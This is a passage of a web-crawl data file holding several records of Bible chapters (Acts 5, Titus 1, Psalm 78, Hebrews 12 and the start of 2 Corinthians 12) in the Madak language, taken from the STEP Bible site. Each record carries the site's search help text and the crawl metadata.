limixin dina lu amet di mi laxanuat.\n27 Nedi diga lam kaka luvuttadi vavang ukeneng, la diga vaxaru nedi ro melamgo at luvuttadi amgomgo at loxot tongtonga linga; la lamaasa gomgo ga lok tinedi xeretna, 28 \"Maga raba nemi mi levelinga lolos do nemen gat nemi mita anasa mi mo laasen at ne Iesu; ketla ming tonga xepe i. Mira vaase asu vam nom levenanasa at lengkot axap de xeneng Jerusalem, la nemi mi lox i xuren kusu do nema maba xip tutu mi lanmet teren.\"\n29 Pita eburu minedi luvuttadi vavang diga vorang i ridi xeretna, \"Mana ronga res kusuk mun at ne Moroa la ma noxo ronga res at limixin mun. 30 Moroa, neni lomoroa at lavalabat atnedik, neni ga lox axatu ne Iesu basinge lanmet, melemu atnemi miga vaxarem i ro at laxaba. 31 Moroa ga xiv aurur i upana la ga vaxaxis i ro at lekngen tino mila neni lamgomgo la Laradi Loklox Arooro xusu na raba limixin me Israel mi langas ti leeng basinge laxakapmek atdi la ne Moroa naba doxoma xepe i. 32 Nema na ma vaase asu na levelinga; Loroonan Kaala bok i vaase asu i, neni nom laramtaba ne Moroa ga raba i rinedi ding tonga res at levelinga ren.\"\n33 Diga ronga i mo la diga musak aleng, la diga lok do dina sev amet di. 34 Ketla lara atdi, neni la Parisi laasen teren ne Gamaliel; neni laradi loklox ase at Lenavolo la limixin axap diga lok ngangao aleng teren. Ni ga xatu kaxat kantubu at luvuttadi amgomgo la neni ga sing nedi xusu dina riki asu be mo luvuttadi vavang ukamang at toxonaleng mutmut mun. 35 La neni ga lok tinedi luvuttadi amgomgo xeretna, \"Leme Israel, mina doxoma avukat mumu lavanga salai mi lok do mina lox i ridi na. 36 Gano ne Tiudas ga vot, ga lok do neni mo i silok aleng; la mo limixin diga mumu asu i ga epovo at lavanuet sangaun kobot (400). Ketla neni ga uu la mo limixin teren diga epeseves la mo lugugu atdi ga met gamasa nga.\n37 Melemu at na, ne Judas boro Galili ga rupot ap mo levenaleng at loklok ka asen; neni bok ga sat ka buaang limixin saparav i; ketla neni bok ga uu la mo limixin diga mumu asu i, diga epeseves. 38 Kuren la at na lempanga nanga, nia ana tong asu i rinimi; nemen mita sev amet di. Mina ke mulus di xuren; mila do na lugugu di lox i mi lodoxoma axa atdi, to gira xap pam. 39 Ketla do lugugu atdi boro vana at ne Moroa, nemi xopmen mina epovo xusu minaba ru pe i. Miba ven i do nemi mi esep mi ne Moroa!\"\n40 Luvuttadi amgomgo diga mu asu na lavapaase at ne Gamaliel. Diga ro abeles luvuttadi vavang ukeneng, la digak pixis nedi; la diga tong alolos i ridi do nemen gat nedi ta tong asu laasen at ne Iesu; la diga soxomus asu di.\n41 Luvuttadi vavang diga vas kaxat basinge luvuttadi amgomgo, diga umsu mi lomomo mila ne Moroa ga siam do diga epovo rip kip lainmangan at laasen at ne Iesu. 42 La at levenaleng axap to xeneng at loogu laplavang la to at leventaugu at limixin, diga anasa la diga vavang mi Lagale Lavavang at ne Iesu, neni Lanarong.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.5","date":"2018-10-19T00:01:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512161.28\/warc\/CC-MAIN-20181018235424-20181019020924-00518.warc.gz","language":"mmx","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000054836273193}","num_words":1485,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Titus 1\nLavapaase Axasep1 Nenia ne Pol, lasaxaruki at ne Moroa la nenia laradi vavang at ne Iesu Karisito. Nenia a gugu rik lox alolos lunuunu at lavaanat soxolik at ne Moroa. Nia a vanasa nom limixin mi levelinga ruturun at ne Moroa xusu lorooro atdi nak mokso aleng, 2 la dinam doma voovo ri lorooro avolo. Na lorooro avolo ne Moroa ga tong alii i ganoxa at lereot. La levelinga ren i ruturun tinotno, neni xopmen laradi xaxarang. 3 La neni ga malagan katling na levenaleng kusu neni na lox asuvos na levelinga mumu lorooro avolo ri limixin; la neni ga soxolik ka ia xusu nenia ana tong asu nom levelinga ren. Neni ne Moroa la neni Laradi Loklox Arooro atnedik.\n4 Nenia a malagan na levelinga ru ne Taitas, nenu u lok ngan ne nuruk tino, mila nenu u nuunu at ne Iesu Karisito xerekngan ia.\nLetaba nabalamu mi lenmila tu boro at ne Moroa ne Temen dik eburu mi ne Iesu Karisito, Laradi Loklox Arooro atnedik.\nLugugu At Ne Taitas Ro At Losoxan Krit5 Nenia aga lok li u, ne Taitas, to Krit la aga on basinge u. Lavasuun teren keretna; leventaba leven gugu at lotu ro Krit kovisi na sixit avukat. La a vara i do una gugu axap nom levempanga nenia goxo epovo na gu axav i. Una soxolik ka tuvuttadi amgomgo ri lox ase limixin at laraugu lotu keneng at levenmenemen getgesara. Una lox i na, kerekngan nia aga tong i ru gano. 6 Loklok ap mo luvuttadi mukun na lok nunuan la nedi getgesara dina epot ka leges atkin mun, la laxamdak mi laxaalik atdi dina nuunu at ne Iesu, la loklok atdi nak mokso aleng kusu limixin petpes noxo epovo na tong i do nom laxamdak mi laxaalik di lok amisik laxakapmek, la kopmen dinang tonga res.\n7 Nedi nom luvuttadi amgomgo dina lok tatao lugugu at ne Moroa maxeneng at lotu ren; kuren la lorooro atdi nak mokso aleng at lemeren limixin. Di noxo paase xuxurung. Nemen di tak musak soso, di noxo inin tangtangku mi lengkadan lolos. Nemen di ta vesep. Nemen di ta vavara pilas solo. 8 Ketla nedi dina lok maraose mi limixin boro vetpes; dina mumu asu loklok i nunuan ti lok tooro limixin; lodoxoma atdi na lox avukat mun; dina mumu asu loklok i nunuan; loklok atdi xopmen taxakapmek teren; la di epovo ri lok tatao avukat luruptuvuk atdi at lempanga ua xopmen na lox avukat. 9 Nedi dinam tebeng lolos levelinga ruturun at ne Iesu xerekngan nia aga lox ase vam di min. Dina nemen kuren kusu dina lox alolos lunuunu at limixin mi levelinga ik mokso, la kusu dina lox akmokso lodoxoma atnedi limixin nuunu di xopara levelinga at ne Iesu.\n10 Una soxolik ka nedi, loklok atnedi ik mokso xerepmo; kusu dina sep pepe buaang nedi limixin nuunu ro Krit ding tonga xepe levelinga ruturun. Mo limixin di paase gamasa mun la di babala arup limixin. Nedi limixin me Judaia, mo dim tebeng alolos levelinga at ne Moses. 11 Una sep pepe di xusu di noxo vaase bok ba ro xeneng at laraugu lotu, mila dik lox ase limixin mi levelinga xopmen nak mokso la kerepmo dik lok kapmek lunuunu at limixin la dik lok kapmek bok lixitkis koetemen. Di lox i xerepmo xusu dina lok kaka levempilas la na loklok atdi i lok kapmek tinotno.\n12 Lara leeme vapaase me go Krit ga lok keretna, \"Limixin me Krit nedi limixin kaxarang, loklok atdi i lok kapmek ngan lababo sio la nedi dik molo at lugugu la di xoxo anan amisik.\" 13 Na levelinga ren i ruturun. Kuren la una vaase sok di, kusu dina tu lolos at lunuunu atdi. 14 Una paase lolos bok tidi xusu di noxo mumu asu leventetere at lubungmixin me Judaia; la kusu di noxo mu asu levelinga atnedi ding tonga aie levelinga at ne Moroa. 15 Di lok do leventaba leveluxa i xaala; ketla i lox avukat do limixin nuunu dina anan leveluxa axap; nedi limixin kakapmek kopmen dina nuunu at ne Iesu Karisito la di ke xepe leventaba leveluxa mila lodoxoma atdi xopmen na lox avukat la loklok atdi i lok bilinga. 16 Di tong i do di nuunu at ne Moroa, ketla kopmen na ruturun; mila levempanga nunuan kopmen na ravasu at lorooro atdi. Loklok atdi i lok kapmek at lemeren ne Moroa la at lemeren limixin. Nedi limixin tongtonga xepe mun, la dixo epovo na lok tevempanga i nunuan.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Tit.1","date":"2018-10-22T01:38:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514443.85\/warc\/CC-MAIN-20181022005000-20181022030500-00479.warc.gz","language":"mmx","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999978542327881}","num_words":893,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Psalms 78\nMoroa Eburu Mi Limixin Teren1 Limixin tarak, minang tonga ka i na levenanasa rak, la minam doma mumu lempanga nia ana paase i. 2 Anaba paase mi levempapaase dokdoxoma kusu ana re musumus levempanga megano ua gak lox alipe. 3 Levelinga ua tagara ronga vam i la tagaklen i, mo levelinga ua luvuttemen dik diga tong i ridik. 4 Atoxo lok pepe i na at laxamdak mi laxaalik atnedik; ataba tere i ri mo lavaola dibap tavasu melemu mumu mo lolos at Leeme Silok, la leven gugu silok teren la levempanga maraanu ua neni gara lok pam i. 5 Neni ga raba leventaangas mokmokso ri limixin me Israel la Lenavolo ri livipisik li at ne Jakop. Neni ga paase alolos i ri lavalabat atnedik kusu dinaba anasa laxamdak mi laxaalik atnedi mi Lenavolo, 6 kusu mo lavaola melemu dinabakleklen i la dinaba tere avolo box i ri luvutnitna di. 7 La mumu mun na langas, dinaba nuunu saga rinotno at ne Moroa la dinoxom domampe lempanga neni garak lok pam i, ketla diba mumu asu amisik Lenavolo ren. 8 Dinoxok lok ngan lavalabat atnedi ua diga ganggang linga, la digang tonga xepe amisik teren; la lesepsep sogo atnedi ri ne Moroa goxo lolos la di goxo mumu asu amisix i.\n9 Leme Epraem, diga ruuna laxanbonara eburu mi levesoso, diga sixiro at laaleng at leesep. 10 Diga los polo lekabus atnedi mi ne Moroa; la di goxopara na ronga res at Lenavolo ren. 11 Diga domampe lempanga neni ga lok pam i, i ngan mo lempanga sangsangu ni ga lox i ro melamgo 12 Ap mo levenaleng lavalabat atnedi diga reven tinotno ne Moroa gak lok lempanga sangsangu ro at lemelubu ro Soan ua ik lok keneng at lenep silok Isip. 13 Neni ga lox epeseves laras la ga lam avolo di ren; la ni ga lok mo lunep tas ga tu ngan luvat kapkapla. 14 At levenaleng kangking, neni gam lam di mi lovotakabu la at lengkanimin ni gam lam di mi langangao at laxao. 15 Neni gak lok pagam lemparuat to at lamatbin la gam taba di mi levendan boro xa xopok at lebelen laxangka. 16 Neni ga lok ladan kusu na sen su boro xeneng at lavaruat la ga lok mo ladan ga sesen ngan lavatdan silok.\n17 Ketla di goxo xap tik lok leveloklok kakapmek ti ne Moroa, la digang tonga viribang at Leeme Avolo ro at lamatbin. 18 Diga lox asuusu rinotno i xusu dina lok tong ne Moroa keneng at levempapaase lolos atnedi ri leveluxa salai diga vavara rin. 19 Diga tere asu at ne Moroa xeretna, \"Kereva, i epovo ne Moroa naba raba dik mi teveluxa de at na lamatbin? 20 I ruturun do neni ga viksa lavaruat, la ladan ga rem soobang su ngan ladanut; ketla kereva, i epovo bok do neni na raba bok mi lengkongkide la na raba limixin teren mi tempanga lomlomon?\" 21 Kuren la Leeme Silok ga ronga di la ga belemamao aleng di; la neni ga lox asongot di mi laxao, la lebelemamao ren tinedi ga sisilok, 22 atla di goxo nuunu saga ren la di goxo nuunu bok do neni naba lox asepsu di. 23 Ketla neni ga vaase ri laxalibet no vana la ga tong i ri laramusaragu ren kusu na rem suang. 24 Ap mo levenaleng neni ga raba di mi lamaana boro vana at laxalibet. At na mun langas ni ga lox asu lempanga anan tinedi ri anan. 25 Kuren la diga anan leveluxa at lubung angelo, la ne Moroa ga lox epovo axap lavavara atnedi. 26 Neni ga lok bok lemere manman boronak kusu nat mas la ga ba pukus lamatmas at lemere manman boroxun, 27 la ni ga raba asu laxampixa ukopok ti limixin la diga buaang aleng ngan laxaniit kapulang nou loxon; 28 la digam subu ro xantubu at mo enemen la kangkan laraugu kadis. 29 Kuren la limixin diga vanan la diga anan mais; ne Moroa ga raba nedi mi lempanga ua nedi diga vavara i. 30 Ketla di goxok lox axap ba langaongao anan atnedi, kuren la move digara vanan. 31 At mo levenaleng ne Moroa ga belemamao di la ga sev amet nedi luvurau lolos avukat at leme Israel.\n32 Ketla limixin di goxo doma mu i na levempanga la move digak lok leveloklok kakapmek, la lempanga sangsangu bok di goxo doxoma mu i la diga ke xepe lunuunu saga ren. 33 Kuren la neni goxo raba di mi lorooro avukat i lox abao, ketla ga lox axap leventooro atnedi mi langsangan lumumuat. 34 At lengkonaleng neni gap sev amet lentaba atnedi, nedi mo lentaba diga ba tepukus taba i; diga ngaleng la diga ngising tin mi lorooro axap atnedi. 35 Diga doma ka i do ne Moroa neni Lurutu See Pe at lorooro atnedi, la do mo Lanaraavuk ga vot kusu na lox asepsu di basinge levesongsongot. 36 Ketla levelinga atnedi ga umsu mi laxaxarang la goxopmen teruturun at levelinga atdi. 37 Di goxo ruturun tin; la di goxo mumu asu lekabus diga lox i eburu min. 38 Ketla ne Moroa ga belemumu di atla nedi limixin teren. Neni ga doxoma xepe leveng kakapmek atnedi la ni goxo sev amet nedi. Buaang laxanaleng neni gam tebeng amlong lumukmusak teren la gak lox asi mo lolos ap mo lebelemamao silok teren. 39 Neni gakleklen i do nedi limixin mun ua neni ga rudum nedi mi laxangka, la lorooro atnedi ixo babaalom, di lok ngan mun lamanman it mas polo la ira onon tino nga.\n40 Digang tonga viribang solo ren to at lamatbin; la buaang mene nga laxanaleng digak lox antun i. 41 La digak lok tong pen amu amgo ne Moroa la digak lox abulu i, keke i do neni Leeme Melemelengan me Israel. 42 Diga domampe lolos silok teren, la mo bok laaleng ua neni ga lox aroo suu di basinge lavamunepen atnedi, 43 la ga lok bok levempanga sangsangu silok to at lemelubu ro Soan keneng at lenep silok Isip. 44 Neni ga vuk gili laradan ti lok ngan lada, la leme Isip di goxo ruuna tevendan ti inin. 45 Neni ga riki abeles laxanulang ukeneng tidi ua ga raba nedi mi losongsongot silok, la laxangkoak ua ga lok kapmek levenmenemen atdi. 46 Neni ga riki asu laxasixu ri anan levempeeve atnedi la ga lok kapmek axap leventaamang atnedi. 47 Neni ga sev amet larauna vaen mi lavatbet uat, la ga sev amet bok larauna angnu mi langsangan lumudut. 48 Neni ga sev amet laxanbulumaxao atnedi, mi lavatbet uat, la ga sev amet laxasipsip atnedi mi lavanga ga mam. 49 Ni ga lox abaava rinotno di at loxonaleng ni ga soobang asu lebelemamao sepsep teren, mo gat pot ngan ta luvuttadi vapaase axasep ti lanmet naba vot. 50 Neni goxo ranga alis lebelemamao ren kopla gita lox aroo nedi leme Isip, ketla ga sev amet di mi levenanmeres sepsep amet. 51 Neni ga sev amet laxamdak avot at lara koenasun axap me Isip.\n52 Melemu neni ga lam asu limixin teren me Israel ngan laradi loklok tatao sipsip la ga lam avolo di ro lamatbin. 53 Neni gam lam aratao avukat di la di goxok marat; ketla laras ga repit pava lavamunepen atnedi la diga met axap pam. 54 Neni ga lam li di ro at lenep kangka xaala ren la uto at levengkaana no neni ga los kaka i. 55 Neni ga saksu mi limixin mego at levenaleng limixin teren diga pubeles; la ga vesinga laxangka atnedi xantubu at levenabung mixin me Israel, la gam taba limixin teren mi laramenemen atnedi limixin mego. 56 Ketla leme Israel diga ronga viribang at Lanaraavuk ne Moroa, la diga lok tong pen i mi leveloklok atnedi. Digoxo ronga res at Lenavolo ren, 57 ketla diga ronga viribang la di goxo ruturun tin ngan luvuttemen di, la digak lok ngan lososo xakauk ixo sixit akmokso. 58 Digak lox abelemamao i atla diga lotu saparap levemoroa xaxarang, la digak lox abelengatngas tinotno i mi laxampoovo moroa atnedi. 59 Moroa ga belemamao at loxonaleng ni ga ven mo lempanga; kuren la ni ga sok sisixe axap tino limixin teren. 60 Neni ga on basinge rino loogu kadis teren to Silo, ni lanemen ua neni gak lok teren kantubu at limixin teren. 61 Neni ga siam avolo lavamunepen atnedi xusu dina sak paxat ka lobokis at lekabus, neni mo loklok poovo at lolos la lisisinang teren. 62 Neni ga belemamao limixin akmokso ren la ga ke xepe di xusu lavamunepen atdi nabap sev amet di. 63 Luvurau atlok diga remet at levenesep, la luvurau rixin di goxo ruuna bok ba tavatlok kusu ridi ri vepot atdi. 64 Lavamaasa diga remet keneng at leveloklok asongot, la lavamunepen digap sep pepe lavakin atnedi lavamaasa xusu dinoxok saxaanu.\n65 La soso mun, Leeme Silok ga beleku kaxat, ga lok ngan ta do ni ga rakdu tuang ngan boro at lanunga; neni ga lox agagas lodoxoma ren ngan leeme lolos i inin laxadan vaen kusu ri gagas ti esep. 66 La neni ga sak tup tinotno mi lavamunepen teren la digak lok mamangan aleng amisik. 67 Ketla neni ga lox abulubun kepe livipisik li at ne Josep; la ni goxo soxolik ka lubung mixin me Epraem. 68 Ketla ni ga soxolik ka manga lubung mixin me Juda mi lakaana Saion, mo loxot ua lebelen ga tu rinotno i. 69 La neni ga vaxaru loogu laplavang tin go, i ngan lemenemen aulis teren noxun pana; neni ga lox atmatkun tinotno i ngan at na xa lavatkangka axap, la gak lok alolos i kusu naba nemen amisik kuren. 70 Neni ga soxolik ka lasaxaruki ren ne Devit ngan loorong; ni ga lam asu xaka i ro at loxot anan at laxasipsip, 71 ap mo loxot ua neni ne Devit gak lok tatao laxasipsip teren. La ne Moroa ga vaxaxis li i ngan loorong me Israel, ga neni laradi loklok aratao at limixin at ne Moroa. 72 Devit gak lok tatao nedi la goxo reven kepe tepentaba la neni gam gomgonga nedi mi lodoxoma avukat teren.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Psa.78","date":"2018-10-22T05:50:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514708.24\/warc\/CC-MAIN-20181022050544-20181022072044-00116.warc.gz","language":"mmx","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000075101852417}","num_words":1762,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aLer 3:11-12\nHebrews 12\nMoroa I Lox Aleeng Limixin Teren1 Buaang nedi lavalabat atdik no vana at laxalibet mo di reven dik ngan laneelen di reven lekampoovo; kuren la mina ke xepe levempanga axap mo ik lox angtang lunuunu atnimi la mina ke xepe bok laxakapmek mo nemi mik sak kikixin teren, la minak sixit eburu mi lololos ap mo lekampoovo ne Moroa ga lox agagas i rinimi. 2 Lodoxoma atnimi na tu atkatla at ne Iesu, neni lavasuun la lurutu kaxat at lunuunu atdik. Neni ga siam ka laxasongsongot la lainmangan at laxaba mila ni ga doma mun mo lomomo neni naba ruuna ka i; la na nga neni it kis at lenep tino at loxonin orong at ne Moroa. 3 Mina doma mumu mo laxasongsongot limixin kapmek diga lox i rin; at na loklok neni lampoovo rinimi, xusu nemi mi noxo molo la mina soxope lunuunu atnimi.\n4 At na levenaleng mira raba arulu vam laxapmek la mira tu lolos, ketla limixin kapmek kovisi dina sev amet teventaba atnimi. 5 Nemen gat mita domampe mo levelinga loklox alolos, i ngan laradi i anasa ne nitna min; mo levelinga i lok keretna,\n\"Nuruk, nemen gat uta doxoma abulubun do ne Moroa, Leeme Silok na lox aleeng u do u lok laxapmek; la nemen gat uta bulu ap mo loklok, 6 mila Leeme Silok ik lox aleeng nedi, neni i vavara aleng di. La do neni na lox asongot nimi, ana i lox asuusu i do nemi mi lok ngan laxamdak tinotno ren.\" a\n7 Mina tu lolos tip kip levesongsongot mi lomomo mila ne Moroa i ke xepe mo levenmumuat kusu na vot saparap nimi ri lox aleeng nimi. I lok ngan bok nade xopok at na lavatbung menemen, luvuttemen laxamdak di lox aleeng laxamdak atdi, do di lok tavanga i lok kapmek. 8 Limixin axap di lok leveloklox aleeng. Do ne Moroa ixo lox aleeng nimi, ana i lox asuusu i do nemi xopmen laxamdak tuturun teren, ketla nemi mi lok ngan mun laxamdak mexalanga. 9 Lara lavanga bok, nedik axap di ruuna luvuttemen dik, mo diga lox aleeng dik la nedik ga lok ngangao atdi mumu mo loklok. Kuren la i lox avukat aleng do mina siam ka mo leveloklok at ne Moroa, ne Temen nimi; neni ga rudum li dik la leventoonan atdik la kerepmo ataba ruuna ka lorooro avolo. 10 Luvuttemen dik diga lox aleeng dik at leventaba levenmaares mun mumu lodoxoma atdi; ketla ne Moroa i lox aleeng dik kusu ataba vee radi avukat la ataba lok ka mo loklok teren ik mokso axap. 11 Na leveloklok kopmen na lox amomo dik ketla i lox asongot dik. Melemu at na leveloklok, lorooro atnimi naba lok asuusu lomokmokso la lenmila do mina siam ka mo loklox aleeng.\n12 Kuren la mina raba axap lodoxoma atnimi xusu mina mumu lavavara at ne Moroa la miba lok ka levempanga neni ga vaase alii vam min tinimi, kerekngan laradi i lox alolos labantuxu ren kusu rik sixit at lekampoovo. 13 Mina lok tatao avukat lavatpas atnimi, xusu do teventaba atnimi mo lunuunu atdi xopmen na lolos, di noxo soxepe axap lunuunu atdi at ne Karisito, ketla diba ven mo leveloklox avukat atnimi, la diba mu asu i la kerepmo lunuunu atdi naba lolos.\nLavanga Mina Ronga Xepe Ne Moroa14 Mina lolos kusu mina nemen at lumulum eburu mi limixin axap, la mina nemen mokmokso, mila do tara noxo ruuna loklok mokmokso, neni noxo ven ne Moroa at lorooro melemu. 15 Mina lok tatao avukat nimi xusu tara atnimi noxo sok tixirixes kepe letaba nabalamu at ne Moroa la na seeve; la nemen nimi guta ke xepe teventaba atnimi dina lok lekarakat kusu mo laxakapmek na lox asubu lunuunu at limixin, kerekngan laradi sak i sev amet limixin. 16 Mina lok tatao avukat nimi xusu tara atnimi noxo vubeles ti loklok i lok kapmek maxamang at lixitkis epot la kerepmo na lok kapmek lara kitkis epot atnimi; kopla na lok ngan ne Esao, neni goxo lok ngangao at ne Moroa, la neni ga xip kepe laasen silok do lanarong, mila lavaanat meren digak lok ka loklox anarong at luvuttemen di; ketla neni ga xip kepe mo loklox anarong kusu ni na lok ka levempanga anan mun ti labantuxu ren. 17 Nemi miklen i do melemu bok ba neni ga lok do na lok ka amlong mo loklox anarong, ketla ne temen ga sok tixirixes kepe i. Neni goxo epovo na lox ekun lodoxoma at ne temen, keke i do neni ga reng mu mo loklox anarong.\n18 Do mina vosiga ne Moroa, mi noxo ven mo levempanga limixin me Israel diga ekip tangarang min at lavatpas atdi boro Isip. Diga vot to at lakaana Sinai la ne Moroa ga sep pepe di do di noxo long tu ren; la diga ven mo lakaana, laxao silok ga anan teren, la lamain silok mi lusugao ga vung kimir i; langsangan lamanman eburu mi leretepaavat la lavanga ga mam to ap mo lakaana. 19 La diga ronga lerengteng at luru la diga ronga laxaka at ne Moroa. Diga ronga i na, la diga marat aleng la diga sing i xusu noxo vaase bok ba tevelinga ridi. 20 Di goxo epovo na ronga ne Moroa mila diga marat aleng at levelinga ren, ni ga lok keretna, \"Limixin axap gi noxo long tu at na lakaana, la do tavanga mi lavanuet kangkedek teren na los polo na levelinga rak, limixin dina lu amer i.\" 21 Diga ven i mo lavanga la diga umsu mi lanmarat, kuren la ne Moses ga lok, \"Nia a marat aleng, kuren la a dede.\"\n22 Ketla nemi mi goxo ekip tangarang mi tevempanga xeretna at lovotpot atnimi saparap ne Moroa. I lok ngan ta do mira vot pam to saparap lakaana Saion la lemenemen Jerusalem, neni lemenemen at ne Moroa, mo i rooro. Mira vot pam ap mo lemenemen i umsu aleng mi lubung angelo, kopmen tara i epovo ri exes di, mo dik lok buru la dik pixan emi asu saparap ne Moroa. 23 La mira vot eburu vam mi limixin nuunu nedi lavanarong at ne Moroa, mo ga malagan li vam levenasen atdi ro vana at laxalibet. Mira vosiga bok pam ne Moroa, neni laradi rongtonga linga at limixin axap, la mira vot pam saparap labaroonan atnedi limixin mokmokso no digara met pam la ne Moroa ga lox adadat pam di la na nga dik lok to vana at laxalibet. 24 Mira vosiga vam ne Iesu, neni ga lok lumulum ti lekabus maxat kantubu at ne Moroa eburu mi limixin, la mira vot pam ap mo loxot ne Iesu ga semla li lada ren to melamgo at ne Moroa ngan luunun ti laxakapmek at limixin. Mo lada ren i lox avukat ti lada at ne Abel, mila lada at ne Abel ga lox asuusu lumukmusak at ne Moroa ketla lada at ne Iesu i lox asuusu lumulum.\n25 Mina lok tatao avukat nimi xusu mi noxo ronga xepe ne Moroa, mo i paase rinimi. Moroa ga paase ri lavalabat atdik to Sinai, ketla buaang atnedi diga ronga xepe levelinga ren la diga ekip tangarang mi lebelemamao ren. La kerepmo bok, do nemi mina ronga xepe levelinga at ne Moroa no vana at laxalibet, ixo epovo do mina sepsu at lebelemamao ren, mila levelinga ren tidik i mumuat aleng ti mo levelinga neni ga raba di min. 26 Ap mo levenaleng Moroa ga paase ri lavalabat atdik to Sinai, la lavatbung menemen axap ga dede. Ketla melemu neni ga vaase do, \"Abangma gesara bok na lavatbung menemen eburu mi laxalibet.\" 27 Na levelinga do \"gesara bok,\" i lox asuusu i do ne Moroa naba sele utut kepe axap levempanga neni ga rudum li di at na lavatbung menemen la laxalibet bok, kusu mo levempanga neni i vara i do nak lok, naba nemen amisik.\n28 Nedik ata lok ka lixitkis at Linintoo ren mo noxo xap, kuren la ata tong avukat ti ne Moroa la ata lotu ruturun saparav i, la lorooro atdik na umsu mi langsangan loklok ngangao saparav i, 29 mila ne Moroa atdik neni laxao sesele utut.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.12","date":"2018-10-23T10:02:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516123.97\/warc\/CC-MAIN-20181023090235-20181023111735-00093.warc.gz","language":"mmx","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000081062316895}","num_words":1486,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 12\nLisilimet At Ne Pol1 A vara na lox aru ia, keke i do kopmen na lok tooro tara. Ketla monga a vara i xusu ana 